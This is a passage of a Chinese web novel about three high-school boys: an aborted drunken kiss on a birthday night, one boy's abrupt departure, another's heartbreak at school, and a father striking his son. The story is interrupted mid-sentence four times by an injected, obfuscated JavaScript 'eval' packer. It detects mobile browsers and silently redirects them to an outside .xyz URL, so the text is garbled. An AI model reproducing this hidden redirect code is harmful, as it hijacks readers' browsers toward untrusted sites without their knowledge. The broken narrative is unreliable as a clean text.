贺存真毫不吝啬赞叹,虽然上下两句压根不连着。不过这一点即使他清醒着也未必反应得过来,更别说此时微醺。 “对了,今天好像是……中秋……娄陵,你想家吗?“ 他突然转过头问他。 “不想。” “这样啊。” 但是你还有家。 这句喃喃藏在了心里,走神间,手中的易拉罐落了下去,“砰”一声砸在地上,没喝完的酒四溅,星星点点落在衣摆上。 “不知道姑姑还好吗,我刚到这里的时候托别人给她发了短信,跟她说我好好的,能自己养活自己,让她别担心。” “不过我知道,她最爱操心了……” 少年支着窗框,微微垂头,窗外的月辉柔和,眼角的湿痕是浅薄的鳞片,而他是一条眺望着大海的鱼。 “不回去看看她吗?” “不了。她有她自己的家庭。” 而我始终不属于那里。 娄陵默默看了他一会儿,然后放下酒,撑着身子站了起来。走前几步的时候,他的身体在晃动,嗓音不太稳定,透露出酒后的迟缓与放纵。 “我不想家,因为我从没觉得那里像家。那里的每个人好像都各司其职,易怒自大的ATM,逆来顺受的佣人,还有他们用来炫耀的展览品。” 同样酒后的贺存真没能完全理解他在说什么,他只是眼睁睁看着娄陵愈来愈近,在离他一步之遥的地方停住脚步。 “所以我想,我可能,直到最近这个月,才算有了一个家。” 娄陵盯住他的脸,一字一顿说出这句话。 “这里?” 被压得变形的音节从嗓子里挤了出来,他那双水洗过的眼眸泛着透明的亮色。 少年的眼睛里有烛火在跳动,那样的高温近乎将心脏熔断一刻,娄陵怔了一下,后知后觉地反应过来自己刚刚说了什么,有点难为情、局促地侧开脸,舔了一下嘴唇。 他的唇上本就沾着酒液,被舔过以后蒙着一层水色,在灯下呈现出诱人的光泽。 “……你的,你的意思是,喜……喜欢这里,是吗?” 那两枚烛火还在壮大,摇摇晃晃。 两个人的呼吸声突然变得很明显,温热的酒气在逼仄的角落里流转,一种微妙的汹涌向他袭来,娄陵不禁蹙了一下眉。 “那我是不是可以理解为……喜欢,和我在一起。” 话语前半句像软化的太妃糖,拖沓粘腻,后半句却收尾得利落,荡开一丝期待。少年人,清爽干净又有那么点聒噪的气泡水。 贺存真终于耐不住抓住他的肩膀,凑近上去,而他第一反应是后退。 很快他就察觉到不对,脚后踩到了东西,圆筒状的。混沌的间隙闪过一丝清明,那是散落在地上的啤酒罐。 “哎!小心!” 铁架床发出一声沉重的闷哼。 “唔……” 幸好身下是柔软的床垫,不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14425476|153693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 由于倒下的力度有点猛,还是能感受到脊背传来的钝痛。 原本沉浸在自己的情绪里的贺存真,在随着娄陵倒下的那一刻尚有些茫然,几秒后连忙发出急切的关心。 “你没事……” 他突然哑了声。 眼睛不由自主被身下的人吸引。可能是被撞得还没缓过神,他好看的眉峰聚起一点,眼里也渗出一点泪,在黢黑的眸子表层弥漫开,眨眼几次后,泪水将鸦黑眼睫沾得湿漉漉的,低垂下来。眼角是红的,浅浅的霞色,脸颊和耳朵也晕染着这种颜色,大约是酒精的作用。 他的头发很久没剪了,颈后的发丝尤其长,有时候要扎成一个小辫子,此刻全散开在浅色的床单上,有几根贴着他的侧脸,随着呼吸起伏。 雾气慢悠悠上升,牵绊着令人迷醉的酒气,朦朦胧胧笼罩着他们。 他的双手按在娄陵的脸侧,离他皎白的耳朵很近,理智提醒他撑起身体,可全身都彷佛失去了气力。 娄陵终于缓过来了,他察觉到怪异的气氛,迟疑着睁开眼睛。 天花板上装着圆盘状的顶灯,倒映在他深井一般又黑又沉的眼里,像一轮月亮,比窗外的月亮黯淡、迷蒙、神秘,牵引着他靠近。 一浪、一浪的潮汐。 他折下脖颈,想去探寻唯一的光源。 潮汐吞没了月亮,淹没了他。 想象中的柔软触觉没有到来,因为紧张而干燥到翘了点皮的嘴唇最后蹭在了身下人的脸侧,力道很轻,像两张白纸擦过。 在只剩一线距离的时刻,娄陵扭过了脸。 贺存真顿住动作,垂眸看他,他的情绪收敛得那么快,匆忙竖起了一堵不算坚实的防御墙,只是紧抿的唇角打碎了看似冷静的外壳。 他深深叹了口气,从娄陵上方翻了下去,与他并列躺在狭窄的床铺上。 过了许久,他说:“我好像是喝醉了。” 没有听见回应,他一下子有些慌神,咬着牙又重复了一遍,最后还是忍不住凑过去看他。 娄陵闭着眼睛,睡着了一样。 他松了口气,然后坐在床沿发了很久的呆。 喜欢上一个人才知道是一种怎样的感觉。没加糖的咖啡,被商场娃娃机浪费掉的十枚硬币,刚好落在面前的一片秋叶,都要夹在牛皮纸信封里寄出去。 喜欢上一个不喜欢自己的人才知道是一种怎样的感觉。干枯的树枝,被踩扁的甲虫,鞋底沾了雨后的泥巴,嚼到没味道也舍不得吐的口香糖。 把上述全部吞咽下去,反刍,咀嚼,将与那个人有关的全部撕得碎碎的,收藏在身体里。可是有一天,他得了一种病,闻见那个人的味道就想吐。 于是,所有东西沿着食道涌了出来。 贺存真转头细细描摹他的眉眼,嘴角控制不住向上扬,猫眼石似的眼睛里隐隐透着难过。 他晃了晃脑袋,越过娄陵去拿内侧的被子,恍惚听见细微的声音。 “怎么了?” 俯身靠近他微动的嘴唇,凝神辨别十几秒,他终于听清楚了。 “生日快乐……存,真……” 搁在床上的手一瞬间攥紧了。 “哈,真恶劣……” 无数片段似连续播放的默片闪过,片刻后,贺存真做出了决定。他侧躺下来,环抱住闭目的少年,用毛茸茸的脑袋蹭了蹭他的颈窝。 “别离开我。” 11. 现代 娄陵一直很清醒,被抱住的时候也不见有多少讶异。 【这这这这……】 041好不容易清除了自己言语模块的阻塞,终于选择认命。 【我只有一个请求……】 【别让上周目重演,对吧?不会的。】 【你就这么肯定?现在的走向可是越来越偏了。】 他缓缓抬手,眯眼看着有点刺眼的顶光从指缝间落下来。 【偏?才刚要步入正轨呢。】 041看见一种熟悉又陌生的野望在他眼中跃跃欲试,散发着丛林中兽类一般危险的气息。 睡梦中的贺存真迷迷糊糊感到不安,在他怀里拱了拱,引得他挑了下眉。 “小狗。” 娄陵伸手把他睡乱了的头发拨开,对着他的脸端详了片刻,露出一个笑。那不是十几岁的人会有的神情,掺杂着一点烟气和欲色,又暧昧又清亮,令人目眩神迷。 “原来坏习惯是小时候就有的。” 他摸了一下少年的耳朵,见他猛地瑟缩了一下,然后又殷勤地蹭过来。 “敏感的地方也一样啊。” 娄陵的语气是那样亲昵,眼里却依旧无波无澜,说完这句话,他推开怀里的人,从床上站起来。 贺存真在迷蒙中挣扎了一会儿,还是被疲惫的精神重新拽入了梦乡。 见他重新安静下来后,娄陵转身走向房间角落,拾起自己的背包。 【现在这么晚,你要去哪儿啊?】 【半月前娄康不是已经达成合作了吗?现在回去差不多安全了,起码短期内没什么麻烦。】 【所以,现在就走?是不是有点太匆忙了……而且你就把小贺丢在这里吗……】 【有什么问题吗?这里又不是野外。】 041气鼓鼓地趴在他肩上,语带谴责。 【你明明知道我是什么意思的。】 娄陵用指尖戳了戳小东西的额头,换来了毫无威慑力的一瞪。 【这个点的进度既然刷完了,下一步当然是该换地图。】 他拎着包走到门框边,回头看了床上的人一眼,关掉了屋里的灯。黑暗于瞬间笼住了这间狭窄、简陋的房间,包括贺存真精心布置的各种细节,犹剩下一束月光,给一切打上一抹温柔且虚幻的底色。 贺存真是捂着头醒过来的,其实他昨晚喝得不算多,顶多算是微醺,更多的就是在装醉了。可不知道为什么,后来的一切都宛若置身梦中,感官如同蒙上了一层纱,令他难以分辨现实与幻梦。 所以……那也是幻想? 不对。他即刻反驳自己。不可能。 那样的娄陵,不可能是他幻想出来的。 对,娄陵。 他如梦初醒,环顾四周寻找那人的身影。几乎是在搜寻无果的那个瞬间,惊慌的情绪包围了他。他迅速一个翻身跳下床,却不小心扯到了被子,连带着把手机运离床铺,摔落在地上。 打开手机检查时,锁屏上的消息也跳入眼里。 “我家的事告一段落了,我回家了。有事要联系我,我能帮你。” 署名娄陵。 “那你能留下来吗?” 贺存真不禁喃喃出声。意识到自己说了什么,他低下头,揉了揉眉心,沉默片刻后自语道,不能。然后自嘲一般笑了。 他一开始就知道娄陵会走,但等这一天真的到来,还是觉得太早了。出于私心,总是希望能晚一点,再晚一点。 不过即使要走,也不该是昨天夜里。昨夜的月亮很美,昨天是他的生日。 皎洁的月光下,那个人在一步之外,一脸认真地说出了那些话。 害得他大脑被挥发的酒精占据,从微醺变成泥醉,一头扎进迷离的酣梦,然后又被一脚踹进冰桶,浇了个透心凉。 “……骗子,就爱说那种话,狐狸一样。” 他嘴里念念有词,但也掩盖不了一个事实——同样的话,即使娄陵再说一次、两次、十次、一百次……他也还是会义无反顾地相信。 贺存真哀叹了一会儿,认命似的直起身子开始收拾残局。地上还躺着好些个酒罐,煮过火锅的锅里浮着一层油花儿。 他擦着桌子,想着昨晚发生的一切,一阵委屈翻涌上来。 “太狡猾了……小心我去找你算账……” 咬着牙念叨完,他重新捡起了抹布。 窗外的蓝天很漂亮,像是被刚刚擦洗过,漂浮的白色团絮不掺一丝杂质。 “你又在发呆了。” 旁边人的语气有那么点纳闷,又好奇地补上了一句:“一天天的想什么呢,这么多心事。” “想……没什么。” 差点把那个人的名字脱口而出了。转头见潘煜一脸怀疑,苏谌连忙搪塞过去。 “就随便看看。” “真的?还以为你也想看娄陵呢……” “你说什么!” 乍听见那个名字,他激动得几乎要跳起来,把潘煜吓到后退半步。 “我去!你反应怎么这么大?” “呃,不好意思啊。” 苏谌面露窘迫,道歉后立即压低声音问道:“你怎么……突然提到他……” “他现在在下面打篮球,半个学校的人都去围观……哦,稍微夸张了点,反正就是很多人,你没注意到吗?” “没有……” 他并没有撒谎,他刚才的心思都飞到大气层以外了。经过提醒,苏谌这才朝篮球场的方向看去,果然四周乌泱泱围着一群人。 “那哥们是真受欢迎啊,和什么男主角一样。不过人长得是真牛逼,成绩还好,高三了去打篮球老师都不带说一声的,啧啧。我听人说家里还有钱,绝了啊,你说是不是?” “……嗯,是啊。” 苏谌敷衍地点点头。 这些他早就知道了。不仅如此,他还温柔又细心,从不摆架子。 他们第一次有接触,是他下课了急着去问老师问题,和从办公室走出来的娄陵撞上了。他连连道歉,娄陵却并不在意,俯身帮他捡起落在地上的东西,将错题本递还的时候,他注意到了步骤旁的问号,顺口答出了公式。 反应过来以后,面对他诧异的目光,娄陵摸了下后颈,眼睛垂下又抬起来,睫毛像蝴蝶翅膀似的扇了一下。 “我没别的意思,只是周老师现在有点事,你如果要问这道题的话,或许……我可以解答。” 也就是那一天,他发现娄陵的眼里盛着一整片静谧的湖泊。 他还很善良,喜欢小动物。苏谌曾在雨天的学校花园假山后撞见过给小野猫搭棚子的娄陵。 他吃东西的样子很可爱。睡觉的样子也是。 “哎,我突然想起来,你之前不是和他关系很好嘛,就暑假的时候。” 潘煜一边对着窗外摇头晃脑,一边兴致勃勃抛出疑问,只是好一会儿没听见回答,只好疑惑地转过头。 “我没记错……卧槽,你,你怎么一副要哭的表情。” 他以为自己已经把那些事忘得差不多了,其实正相反,每一点一滴都镌刻在心里,碰或者不碰,都没法磨灭掉哪怕一点。 无意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14425477|153693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间一句话作引,他倏然坠入噩梦的网中。 苏谌后来才想起来,那一天是八月的最后一天,其他人的暑假结束了,而他的夏天也终结在了那一天。 那天背景音好像是有蝉鸣的,时断时续,被喘息声和脚步声冲刷得模糊,晒得很热的空气迎面一阵一阵扑过来。 他一口气跑出很远,直到被红灯拦下,在路口扶着膝盖大喘气。大脑试图把一切信息整理清楚,可一旦涉及娄陵的话,就陷入了停转。 不对,不应该,他怎么会说出这种话。 我不相信。 那双冷漠的眼睛浮现在他眼前,与冬天的湖面如出一辙。他隐约有些畏惧那样的娄陵,这完全颠覆了他过往的认知。 不行,我不管,我要再问一遍。 红灯闪了闪,变换成绿灯,行人开始朝前移动。 苏谌转身向着来路跑了回去。 回到那里的时候,那堵墙下已经没有人了。他失魂落魄地走过去,然后就一直站在那里。待太阳完全被地平线吞没,他数着步子走回了家。 第二天,学校正式开学。娄陵没有来。 周一国旗下讲话,校长啰嗦了快半个小时,概括起来不过是“高三冲刺”四个字。那天讲话的学生代表是上学期期末考试的第二名。娄陵没有来。 第三天、第四天…… 第五天的时候,苏谌鼓起勇气,拨通了要来的电话号码。接电话的是娄陵的父亲。 “……谁知道他死哪里鬼混去了,找不着人。“ 放下电话,苏谌的胸口闷闷的。 “他这是,离家出走了吗……所以父母很生气。可是就算再怎么生气,也不该这么讲话吧……” 十月份,娄陵回来了。 听到消息的时候是大课间,苏谌逃了跑操,冲到十四班门口堵人。 教室里就娄陵一个人,他正站在书桌旁收拾东西,听见脚步声以后,抬起头来,轻描淡写地瞥了他一眼。 “我有话和你说。” 他好像没什么变化,精致的容貌总透着一丝倦色,眉眼间有种疏离的味道,这也正是他吸引人的地方。不同的是,他以前在他面前,并没有这么明显的距离感。 时隔许久,再一次和他面对面,苏谌的心脏不受控制地狂跳起来。 该说什么呢? 你这段时间去哪了?你和家里是不是闹矛盾?有没有遇到麻烦? 你那天说的话……是真的吗? 你,还喜欢我吗? 无数积攒的话语梗塞在喉口,最后反而难以挤出一个音节。 面前的人皱了下眉。他在不耐烦。 苏谌眨眨眼睛,强行露出一个笑容,抑制不住声音的颤抖。 “……如,如果你那天说的是真的的话,我以后会主动远离你。所以,你……” 他深吸一口气。 “你不用不来学校,这样对你影响太大了。” “你想太多了。” “……啊?” 不受控制发出声音的时候,苏谌觉得自己有点像个傻瓜。 “别把自己看那么重要。” 他背靠栏杆,以百无聊赖的姿态看向地上的瓷砖,只分给他一点余光。 “我不来就只是因为不想来。” “你不知道吗,我家很有钱,我就算不上大学也没什么影响。” 娄陵与他擦身而过的那一刻,他忍不住转头去看他的背影——颀长干净的,走在空旷的走廊里,就像被框在金属框里的一副水彩画。 渐渐令他无法触及。 12. 现代 那天以后,苏谌开始特意不去听和娄陵有关的消息。 但是他实在是太引人瞩目了,特别是在娱乐方式尤其短缺的高三学生间,八卦是一种有效的解压方式,娄陵则是永远的话题焦点。 而且,他这次回校以后,行事变得更张扬了。他经常和高一高二的混在一起打球,上课铃响过以后才抱着球,慢悠悠地从后门走进教室。在高三生几乎全员住校的情况下,娄陵是个特例,他还是每天回家住,在上午第一节课前回学校。早读结束后的课间,不少学生会在走廊上透口气,怀着一种莫名其妙的激动看那个身影从校门入口处渐渐接近。 少年骑着一辆看着就很帅的黑色山地车,敞开的校服外套被风推到他身后扬起,变作一双欲振的翅膀。 不知从什么时候起,他成了众人心中有关这段时光的一个信标。一只自由的鸟。 那样的场景苏谌看过一次,只要一眼就移不开眼睛,他猜想自己的目光一定很热烈,不然娄陵不会抬头看过来。对视前一秒,他背过身去。 后来他就不在早读后的课间出去了。 他真的很拼命很拼命地不去想和娄陵有关的事,可是没有用,大脑一旦有空隙,各种思绪就会相拥着趁虚而入。 一开始,他只相信自己眼睛看见的,耳朵听见的,等亲眼见到娄陵和别人接吻,亲耳听见他那些恶劣的话后,他又忍不住怀疑自己的双目和耳朵。其实他只相信自己的心,他的心不肯承认时,哪怕那是事实也无济于事。 感情比做题还要复杂,经过数不清的日夜还是找不到解。可当他排除掉所有错误答案,剩下的不就只能是正确答案了吗? 娄陵是个纨绔,和他在一起是为了取乐。 得出这个答案后,他的心好像空了一块。 这样看来,他以前的样子都是伪装。潜藏在冷淡下的温柔细腻、偶尔流露的脆弱,还有盈满爱意的清澈的眼睛,都是在造假。全都是伪装。 原来那些都是可以表演出来的吗……果真如此的话,娄陵还真是个了不起的演员。 从回忆里脱身出来后,一抬眼就撞上潘煜担心的表情。 “我没事啦。” 潘煜挠了挠头,脸上的怀疑并没有消失:“没,没事就好……” 过了一会儿,他又露出一副贼兮兮的表情挤过来,在苏谌耳边压低声音说:“现在还是好好学习吧,爱情什么的都是过眼云烟,你现在感觉痛心,过个几年再看全是小事。你想想啊,你有本事以后什么好女孩碰不到。” 听见“爱情”的时候,苏谌的眼皮抽动了一下,潘煜沉浸在自己的想象里,并没有发现。 “所以你也不用总在意那个娄陵,你不比他差的,真的!兄弟我向你保证!” 原来是把他和娄陵想成情敌了。 苏谌有点哭笑不得,还是应承了下来。 “我知道了,谢谢。” 上午才提起和娄陵有关的事,下午就迎面撞上了,不得不说命运有时真是爱开玩笑。 苏谌是住校生中的一员,平时在下午的课结束后,他是不会出校门的,只是今天需要打印一些复习资料,学校的打印店又刚好关店了。 这个时间点,走向校门的人稀稀落落的,高中选择走读的人不太多。 会不会……碰到他呢? 这个念头刚浮现出来,他就慌忙甩了甩头。别去想了。 走出校门,然后往左转,再走一段路就是最近的打印店。 离开学校几步后,他看见了一群人,有的染着夸张的发色,有的剃着平头,年纪看起来也不算太大,气质却在学生们中显得格格不入。这些人以校门为中心,或站或蹲,围成一道半圆,颇有些来者不善的味道。他们的站位零散,不过还是能看出为首的人。 苏谌望向站在树下的领头人——他看起来是这些人中年龄最小的一个,穿着连帽卫衣,双手插兜,耳机线从耳朵里延伸出来直至外套的口袋沿。他没有染发,乌黑的发丝在颈部坠得格外长,右耳垂上钉着一枚银珠。 这人好像是高中生,身上的学生气却很淡,不顾别人眼光哼着歌,刺人的桀骜时不时从乖顺的外表下扎出来。 他突然掀了眼皮看过来,锐利之色在其中一闪而过。 正脸转过来的同时,一抹熟悉感击中了苏谌。 是他? 苏谌后退了半步,在脑中飞快比对,立马得出了答案:没错,就是他。这人的打扮比起之前有了些变化,当时他又把全副心神都放在娄陵身上,这才没马上认出来。 这个人好像也认识他,第一时间露出了惊讶的神情,然后很快若无其事转过脸,权当没看见。 心中的火苗蹭一下涨起来。 他握着拳头朝树下走去,有点紧张地清了清嗓子。 “你,你好……” 原谅他一时想不到第二种开场白。 贺存真在苏谌挪步的时候就已经注意到了,挑了挑眉,把播放着的歌按了暂停。 会说什么呢?先骂上几句还是直接动手?还有那么点期待呢。 对方脸憋得发红,双手攥紧,几秒后终于郑重开口。 “你好。” 噗。贺存真一把扯下耳机线,用一种惊异的眼神打量他。 你没事儿吧? 他的内心活动,苏谌一无所知,经历过艰难的开场后,后续的一切都容易多了。 “请问你们是在这里等人吗?你们好像……不是我们学校的人。” “是。” 贺存真低头拨弄耳机线,将它一圈圈缠好。 “等谁?” 他将那卷耳机线塞进兜里,抬头笑了一下,暗含挑衅。 “你不知道吗?” 避不开的话题,总有不得不面对的时刻。空气中燃起或隐若现的火药味。 面对他的故意挑衅,苏谌反而冷静下来,唇角也浮现一丝笑意。 “你们堵在这里不是一天两天了吧。我知道你,桥中的贺存真。” 只是没想到你就是那天的人。 “你初中是二中的,那个时候就开始逃课,还偷过东西。进高中以后旷课更是家常便饭,各种拉帮结派,前些时间还造成了斗殴事件。” “嗯,对,那又怎样?” 贺存真低眸听着,任由那些含着些贬低意味的话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14425478|153693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 语从耳边滑过。 苏谌的眼睛却越来越亮,像是瞄准了弱点的猎人,正在静待扣动扳机的那一刻。他乖巧安静的皮囊下深埋的执拗和攻击性终于在面对“敌人”时显露出来,放弃了遮掩。 “你,你们,”他用目光扫过周围一圈人,“与他根本不在一个层次上。” “和他走太近,只会给他带来麻烦。” “呵。” 原来也不是真的小白兔啊。 “看不出来,你骨子里也是个自负的人。就这么瞧不起我们这些‘坏学生’?” 贺存真的语气嘲讽十足,令苏谌不自在地回避了视线。 他当然知道这种想法是错的,平时也在有意避免这样的思考方式,每个人的选择都是有限的,读书成绩并不能彻底代表一个人。 如果面前的人换成其他任何一个,他一定会为自己的话道歉。 但是贺存真不行。虽然他现在心里已经开始为伤害到他而感到抱歉了,但他不会表现出来。仅因为他的私心。 这些人若以世俗标准来评判,不管在社会评价还是创造价值的能力层面来看,层次都偏低。他不希望娄陵有受到任何不利影响的可能。 两人以互不退让的姿态对峙了许久,贺存真突然轻嗤一声,收敛了眸中的锋芒,冲着他背后的方向挥了挥手。 “这里,娄陵!” 全身像过电一般震颤了一下,苏谌几乎是瞬间从刚才的状态脱离出来,他甚至有些不敢转过身。 刚才的一切都被看见了吗……那我的话呢,也听见了? 他会不会觉得我很刻薄,很……多管闲事。 指尖不自觉抵住了掌心,苏谌深吸一口气转过身,嗓音因为急迫而发抖。 “不是的,你听我解释……” 转头的瞬间,娄陵正好走到身边,他刚露出放松些的表情想开口,却见他目不斜视与自己擦肩而过,连一丝余光也没有分出来。明明听见了他的话,他却连脚步也没有放缓,就好像旁边只是空气。 “走吧。” 他的娄陵去到了另一个男生身旁,拉起他的兜帽盖在脑袋上,顺手揉了两把。 “你干嘛啊,是不是不想让我长高,想靠这种手段超过我,真过分。” 贺存真语气听着像是不满,却没有丝毫反抗,还乖乖低下一点头。 “好好,接到你了就走呗。” 那两个背影并行时分外和谐,一边谈笑一边走远,其他人看起来也见怪不怪了,自觉跟上,隔着一段路晃晃悠悠远去。 只剩他一个人站在那里像个笑话。 没有人在乎他。 事情是怎么变成这样的,苏谌不明白。往日积压的痛苦终于冲破了闸门倾泻而出,他捂着眼睛在人来人往的路口蹲了下来。 对他来说,娄陵每一个恶意的字眼、每一个漠然的眼神都是一把划破血肉的刻刀,他吃药、缠上绷带不过是一种自我麻痹,新伤叠在旧伤上,还骗自己这样就能好,结果是在某一天闻到臭味——伤口流脓长蛆了。 原来爱人是这样一件痛苦的事情,他其实,并不想在这个年纪懂得这么深刻的道理啊。 13. 现代 为了使自己不被沉重的情感淹没,苏谌将全副心力倾注到课本习题中,试图用各学科知识填满大脑的每一道空隙。课上课下之外,他会在打饭排队的时刻冷不丁从嘴里蹦出mgh=1/2mv?或者斯大林格勒战役的时间。几次以后,潘煜的眼神都变得有点怪怪的。 “兄弟,”他从背后探出脑袋,“倒也不必如此,劳逸结合啊。” 可惜人总归不可能成为机器,机器尚有生锈卡壳的时候,非机械结构的头脑又怎么能永远顺利运转下去。事实上,思维有很多次骤然断裂,没办法用任何知识点填补,于是他宁愿保持陷入空白的状态也不想重启,只为了避免进入那一段必读前置程序。某个人已然嵌入了他的内置数据。 纵使这样,他其实依然抱有一个隐秘的幻想。“娄陵和苏谌要上同一所大学”,这是那个人亲口答应的。也许,现在的一切是一个诅咒,只要完成约定就能彻底解开。 被志愿录取以后,我的噩梦会结束,真正的娄陵会回来,回到我的身边。 好,继续吧,苏谌。 他撕下一页笔记本粘在桌角,然后把书重新堆了上去。 人们身上的衣服原本是单衣,渐渐添厚了,大树倒是越脱越清瘦,直到只剩秃枝。 学生们都套上棉袄的时候,这学期也就结束了。这个寒假只有一个星期。 苏谌只回去过了个除夕,第二天就背着包踏上了去学校的路。 今年难得下雪了,路边、屋顶、树梢尽堆着银粟,一阵风吹斜一捧盐霜,絮絮地抖落下来。苏谌看得出了神,不禁伸手去接,那些雪粒实在太小,刚触到掌心的温度就不见了,留下一点点冰凉的水渍。 校园里比外面更安静,倒像是一个真的银白世界了。听着脚印在薄雪上的声音,苏谌忍不住微笑起来。 他拉了拉围巾,让它围得更紧一些,沿着扶梯拾级而上,推开教室的门,然后立刻关上,把紧跟着的冷风隔绝在外。 门合上的声音刚传出,楼梯口处就现出了一个身影,瘦瘦高高的,裹着件长款的白色羽绒服,看起来还是显得清减。 他远远隔着窗子望向教室内的背影,目光专注,神情那样寂寥,犹如永夜雪国的点灯人。 教室里,苏谌刚做完了一套卷子,把笔撇下,手放到嘴边,用呼出的热气去暖僵硬的手指。他一边搓弄着双手,一边看向窗外,满天的鹅羽飘飘洒洒。 “雪好像下大了。” 教室外,娄陵背靠着墙壁,仰起头望向天际,层云和青山交汇的地方。这满天的雪粒子好似都是山顶上的仙人泼倒下来的,经由千万尺大的扇子一扑,全吹到人眼前。 这风送得猛,走廊上便也积了点。零星的碎雪落到他的头发上,皮肤上,眼睫上,很快被体温蒸化了,渗入肌理。一些大块的留得久些,成了素色妆点。他呼了口气,热气往上,眼前忽有一小片白雾氤氲。 冷风太大,雪粒落进脖子里。他将手往袖子里拢了拢,又缩了缩脖子,看着也不显得十分滑稽,倒是有几分笨拙的可爱。 虽然隔着一道墙,这也算是在一起了吧。 阒寂的雪国,唯二的两个旅者。 大脑稍微有些乏累了,苏谌发了会呆,在草稿纸上写起了背过的句子,在那些柔软的、舒朗的、丰实的文字中,措不及防漏出了属于他自己的情感。 孤独。 他抚摸着桌角贴着的纸片,上面黑色水笔的字迹很清晰——目标分690,加油! 浅浅的梨涡在脸上绽开,他一手支起下颌,眉目间充盈着悬浮又遥远的幸福。 身体僵得没了知觉,肌肤的感知开始混乱,怪异的灼热蔓延开来。娄陵晃了晃脑袋,甩下残留的雪水,又搓了搓被冻成摆设的耳朵,一双黑眸空泛,似两枚被绞干了水渍的曜黑色石子。 距离这样的生活结束,还有多少天呢。 雪还在下。 雪还在下。 烤红薯的香气扑入鼻腔,甜甜的,吸上一口,空气都变得温暖起来。苏谌捧着圆滚滚的红薯,冲着小推车后的爷爷弯起眼睛。 撕开薄皮以后,甜香味更浓郁了,他低下头咬了一小口。 嗯,烫乎乎的。 在少年的背影远去后,红薯车炉子的炭火很快熄了。 “我来帮您吧。” 娄陵从小车后边的店里走出来,他朝着苏谌离开的方向看了一眼,又很快收敛心绪。 “不用,哎真不用,你给的钞票太多了,不就给那男娃烤个红薯嘛。” “要的,还在正月里,天气冷,麻烦您了。” 等陪着老爷爷收拾完,娄陵离开了学校附近的那条街。一路上的店面差不多都拉下了铁门,一整条街沉默而空荡。 他把拉链又往上拉了拉,将下巴埋在高衣领中,轻轻蹭了蹭。 “啪!” 树枝承受不住太重的雪水,被弹出迟钝的声响,那一摊水正好落到他脚边。他垂眼看了一会儿,然后再次迈开脚步。 “……我都说了,没事的,没事的!你为什么不信呢,我骗你有什么好处,啊?都销掉了,他们查不出来的。” “……哎喂,有人举报?要紧不?下来查了……不是,那你这样不地道啊,你当时签的东西还在我这呢,你……妈个批!挂老子电话。” “狗娘养的,畜牲不如!” 刚推开门,刺耳的骂声炸响,娄陵眉毛都没动一下,反手拉上了门。 怒火中烧的人像一只激愤的野猪,肥胖的身躯抽动着,各种肮脏词汇一溜儿喷了出来。他刚吃了瘪,迫切需要一个发泄的口子,正好看见了玄关处的娄陵。 “又死哪里去了,整天看不着人。” 娄陵不答,拉下拉链,把厚外套脱下,折放在臂弯里打算回房间。 “问你话呢,听见没有!” 本就着火的男人这下被浇了油,面目狰狞,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14425479|153693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把扯过娄陵的衣服,将他扯得趔趄了一下。 娄陵及时按住沙发才避免了一头栽在地上,转头看向男人的时候,眼神也不免发冷。 “你,你这是什么意思?啊?长本事了是吧!” 那一眼看得男人心里发虚,随即愈发怒不可遏,咆哮声如雷。 “我是为了谁啊,还不是为了这个家,每天,每天跑东跑西,担惊受怕!你们谁体谅我?啊?你妈生意上什么都不懂,就知道在家里玩,你呢,废物一个,叫你帮点忙是一点指望不上!” 终于找到了发泄口,他越来越激动,老脸涨红,口水横飞。 “一不顺心就跑出去,能在外面躲上一个月,真有本事!你说我卖儿子是吧,你自己呢,别人愿意让你住那么久?” 娄陵一直没说话,直到听到这里,才分他轻蔑的一眼,唇边浮起一抹笑。 “你说得对,我去卖了。要卖也是我自己去,不劳你费心。” “你!” 豕一般的男人怒气冲冲走来,把地板踏出“砰砰”重响。 “啪!” 这一巴掌很重,娄陵后退了一步,后腰撞在茶几上,他瞬间眉心蹙起,有些无力地跌在地上,被震倒的茶杯坠下,碎瓷片在他身侧溅开。 “这是怎么了?你别发这么大火……” “滚开!” 刚从卧室里出来娄母被他挥舞的拳头和怒吼吓得不敢上前。 